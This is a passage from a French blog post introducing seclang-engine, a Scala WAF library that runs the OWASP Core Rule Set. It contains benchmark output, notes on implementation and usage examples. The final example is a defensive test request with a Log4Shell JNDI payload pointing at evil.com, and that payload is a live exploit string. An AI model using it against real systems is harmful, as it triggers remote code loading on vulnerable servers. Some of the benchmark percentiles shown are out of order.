&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    4.508&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [28517] &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    8.213&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [1303]  &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;■&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   13.338&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [37]    &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   17.463&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [73]    &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   21.587&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [41]    &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   26.712&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [25]    &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   30.837&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [0]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   34.961&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [0]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   39.086&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [0]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   43.211&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [2]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Response&lt;/span&gt;&lt;span&gt; time&lt;/span&gt;&lt;span&gt; distribution:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  10.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 2.2964&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  25.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 2.3817&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  50.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 2.5813&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  75.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 4.0106&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  90.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 3.5270&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  95.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 4.7680&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  99.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 6.6709&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  99.90%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 21.6669&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  99.99%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 25.4090&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Details&lt;/span&gt;&lt;span&gt; (average, &lt;/span&gt;&lt;span&gt;fastest,&lt;/span&gt;&lt;span&gt; slowest&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  DNS+dialup:&lt;/span&gt;&lt;span&gt; 0.9616&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 0.0578&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 4.4482&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  DNS-lookup:&lt;/span&gt;&lt;span&gt; 0.0190&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 0.0028&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 1.4588&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Status&lt;/span&gt;&lt;span&gt; code&lt;/span&gt;&lt;span&gt; distribution:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  [400] &lt;/span&gt;&lt;span&gt;29999&lt;/span&gt;&lt;span&gt; responses&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Les optimisations clés :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;RegexPool&lt;/strong&gt; : les motifs précompilés sont mis en cache, avec leur chaîne comme clé&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sortie anticipée&lt;/strong&gt; : le traitement s’arrête à la première disposition de blocage&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Règles organisées par phase&lt;/strong&gt; : seules les règles de la phase en cours sont chargées&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Programmes immuables&lt;/strong&gt; : compilés une fois, partagés sans risque entre les threads&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;TrieMap pour les variables TX&lt;/strong&gt; : thread-safe, sans verrou&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;ce-qui-nest-pas-encore-implémenté&quot;&gt;Ce qui n’est pas (encore) implémenté&lt;/h2&gt;
&lt;p&gt;Par souci de transparence : toutes les fonctionnalités de SecLang n’ont pas été retenues. Les manques se répartissent en trois catégories :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Vestiges du passé&lt;/strong&gt; : les transformations de bit de parité (&lt;code&gt;parityEven7bit&lt;/code&gt;, etc.), héritées de l’époque des modems. Aucun cas d’usage moderne.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Dépendances externes&lt;/strong&gt; : &lt;code&gt;@geoLookup&lt;/code&gt; (nécessite la base MaxMind), &lt;code&gt;@rbl&lt;/code&gt; (requêtes DNS), les variables &lt;code&gt;SESSION&lt;/code&gt; (nécessitent un stockage de sessions). Elles ajoutent de la latence et de la complexité, et sont mieux prises en charge par des composants d’infrastructure dédiés. Otoroshi a de toute façon son propre plugin GeoIP.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Validation propre à un domaine&lt;/strong&gt; : &lt;code&gt;@verifyCC&lt;/code&gt;, &lt;code&gt;@verifyCPF&lt;/code&gt;, &lt;code&gt;@verifySSN&lt;/code&gt; pour les cartes bancaires et les identifiants fiscaux. Ils ne sont pas utilisés par le CRS et rarement nécessaires pour la sécurité des API.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Les 100 % de réussite sur les 4 138 tests du CRS prouvent que tout ce qu’il faut pour une protection en conditions réelles est là. Et si vous avez besoin de quelque chose de sur-mesure, le trait &lt;code&gt;SecLangIntegration&lt;/code&gt; vous permet de brancher vos propres implémentations sans forker le moteur.&lt;/p&gt;
&lt;h2 id=&quot;bien-démarrer-avec-seclang-engine&quot;&gt;Bien démarrer avec seclang-engine&lt;/h2&gt;
&lt;p&gt;Envie de l’essayer vous-même ? Voici un exemple minimal qui montre comment utiliser la bibliothèque dans votre projet Scala.&lt;/p&gt;
&lt;p&gt;Commencez par ajouter la dépendance dans votre &lt;code&gt;build.sbt&lt;/code&gt; :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;libraryDependencies &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &quot;com.cloud-apim&quot;&lt;/span&gt;&lt;span&gt; %%&lt;/span&gt;&lt;span&gt; &quot;seclang-engine&quot;&lt;/span&gt;&lt;span&gt; %&lt;/span&gt;&lt;span&gt; &quot;1.5.0&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Puis voici un exemple complet et fonctionnel :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; com&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;cloud&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;apim&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;seclang&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;model&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;_&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; com&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;cloud&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;apim&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;seclang&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;scaladsl&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;SecLang&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;object&lt;/span&gt;&lt;span&gt; WafExample&lt;/span&gt;&lt;span&gt; extends&lt;/span&gt;&lt;span&gt; App&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // 1. Define your SecLang rules&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  val&lt;/span&gt;&lt;span&gt; rules&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |SecRule REQUEST_HEADERS:User-Agent &quot;@pm firefox&quot; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    &quot;id:1001,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    phase:1,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    block,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    t:none,t:lowercase,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    msg:&apos;Firefox browser blocked&apos;,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    status:403,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    severity:&apos;CRITICAL&apos;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |SecRule REQUEST_URI &quot;@contains /admin&quot; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    &quot;id:1002,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    phase:1,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    block,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    t:none,t:lowercase,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    msg:&apos;Admin access denied&apos;,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    status:403&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |SecRuleEngine On&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |&quot;&quot;&quot;&lt;/span&gt;&lt;span&gt;.stripMargin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // 2. Parse the rules into an AST&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  val&lt;/span&gt;&lt;span&gt; configuration&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; SecLang&lt;/span&gt;&lt;span&gt;.parse(rules) &lt;/span&gt;&lt;span&gt;match&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    case&lt;/span&gt;&lt;span&gt; Left&lt;/span&gt;&lt;span&gt;(error) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;span&gt; sys.error(&lt;/span&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;&quot;Parse error: &lt;/span&gt;&lt;span&gt;$error&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    case&lt;/span&gt;&lt;span&gt; Right&lt;/span&gt;&lt;span&gt;(config) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;span&gt; config&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // 3. Compile the AST into an executable program&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  val&lt;/span&gt;&lt;span&gt; program&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; SecLang&lt;/span&gt;&lt;span&gt;.compile(configuration)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // 4. Create the engine&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  val&lt;/span&gt;&lt;span&gt; engine&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; SecLang&lt;/span&gt;&lt;span&gt;.engine(program)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // 5. Build a request context to evaluate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  val&lt;/span&gt;&lt;span&gt; request&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; RequestContext&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    method &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &quot;GET&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    uri &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &quot;/api/users&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    headers &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Headers&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;Map&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;User-Agent&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Mozilla/5.0 Chrome/120.0&quot;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;Host&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;example.com&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    )),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    query &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Map&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;page&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;1&quot;&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // 6. Evaluate the request against phases 1 and 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  val&lt;/span&gt;&lt;span&gt; result&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; engine.evaluate(request, phases &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // 7. Check the result&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  result.disposition &lt;/span&gt;&lt;span&gt;match&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Continue&lt;/span&gt;&lt;span&gt; =&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      println(&lt;/span&gt;&lt;span&gt;&quot;Request allowed&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Block&lt;/span&gt;&lt;span&gt;(status, msg, ruleId) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      println(&lt;/span&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;&quot;Request blocked! Status: &lt;/span&gt;&lt;span&gt;$status&lt;/span&gt;&lt;span&gt;, Rule: &lt;/span&gt;&lt;span&gt;$ruleId&lt;/span&gt;&lt;span&gt;, Message: &lt;/span&gt;&lt;span&gt;$msg&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cet exemple :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Définit deux règles simples : l’une bloque les navigateurs Firefox, l’autre bloque l’accès à &lt;code&gt;/admin&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Parse les règles avec ANTLR sous le capot&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les compile en un programme optimisé&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Crée une instance du moteur (thread-safe, réutilisable)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Évalue une requête d’exemple et vérifie si elle doit être bloquée&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour un usage en production avec l’OWASP CoreRuleSet, vous pouvez utiliser le pattern factory avec des presets :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; com&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;cloud&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;apim&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;seclang&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;model&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;_&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; com&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;cloud&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;apim&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;seclang&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;scaladsl&lt;/span&gt;&lt;span&gt;.{&lt;/span&gt;&lt;span&gt;SecLang&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;SecLangPresets&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Create a factory with CRS preset&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; factory&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; SecLang&lt;/span&gt;&lt;span&gt;.factory(&lt;/span&gt;&lt;span&gt;Map&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;crs&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; SecLangPresets&lt;/span&gt;&lt;span&gt;.coreruleset))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Get an engine with CRS rules + custom exclusions&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; engine&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; factory.engine(&lt;/span&gt;&lt;span&gt;List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;@import_preset crs&quot;&lt;/span&gt;&lt;span&gt;,           &lt;/span&gt;&lt;span&gt;// Import all CRS rules&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;SecRuleRemoveById 942100&quot;&lt;/span&gt;&lt;span&gt;,     &lt;/span&gt;&lt;span&gt;// Disable a specific rule&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;SecRuleEngine On&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// The factory caches compiled programs, so subsequent calls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// with the same rules return the cached engine instantly&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Test with a malicious request (Log4Shell attack)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; maliciousRequest&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; RequestContext&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  method &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &quot;GET&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  uri &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &quot;/api/search&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  headers &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Headers&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;Map&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;User-Agent&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Mozilla/5.0&quot;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;Host&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;example.com&quot;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;X-Api-Key&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;${jndi:ldap://evil.com/exploit}&quot;&lt;/span&gt;&lt;span&gt;)  &lt;/span&gt;&lt;span&gt;// Log4Shell payload&lt;/span&gt;&lt;/span&gt;
